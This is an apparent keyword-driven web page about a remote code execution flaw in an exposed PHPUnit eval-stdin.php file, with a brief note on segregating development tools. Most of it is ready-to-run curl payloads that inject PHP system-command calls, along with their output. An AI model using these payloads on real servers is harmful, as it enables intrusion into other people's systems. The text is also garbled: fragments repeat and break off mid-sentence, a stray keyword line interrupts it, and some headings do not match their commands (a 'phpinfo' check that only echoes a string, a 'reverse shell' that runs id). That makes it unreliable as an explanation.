Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit May 2026

An attacker can utilize curl to execute arbitrary system commands. The following payload sends a system command to the server and expects the output in the response.

Request:

curl -X POST http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
     -d "<?php echo shell_exec('id'); ?>"

Response: If successful, the server will execute the id command and return the output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The eval-stdin.php exploit serves as a critical reminder of the risks associated with exposing development dependencies in production. While the flaw lies within PHPUnit code, the vulnerability is only exploitable when system administrators fail to properly segregate development tools from public-facing assets. By adhering to the principle of least privilege—denying web access to non-essential files—administrators can neutralize this and similar threats effectively. vendor phpunit phpunit src util php eval-stdin.php exploit

The mention of exploit alongside a PHP script named eval-stdin.php raises significant security concerns. Scripts that evaluate standard input (stdin) can be risky if not properly sanitized, as they may be exploited to execute arbitrary code.

Prerequisites:

The Attack Vector: Attackers scan the internet (or specific targets) looking for the specific path of this file. Once found, they send a POST request containing the payload. An attacker can utilize curl to execute arbitrary

Proof of Concept (PoC):

Using curl, an attacker can verify the vulnerability by causing the server to execute the phpinfo() function:

curl -X POST http://target-site.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
     -d "<?php echo 'VULNERABLE'; ?>"

If the response contains "VULNERABLE", the target is compromised. Response: If successful, the server will execute the

Remote Code Execution (RCE):

To achieve a reverse shell or system command execution:

curl -X POST http://target-site.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
     -d "<?php system('id'); ?>"

Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Automated Exploitation: This vulnerability is included in the Metasploit Framework (exploit/multi/http/phpunit_eval stdin), making exploitation trivial for unskilled attackers.

The impact is severe. Successful exploitation grants the attacker the ability to execute arbitrary code with the privileges of the web server user (often www-data or apache). This can lead to: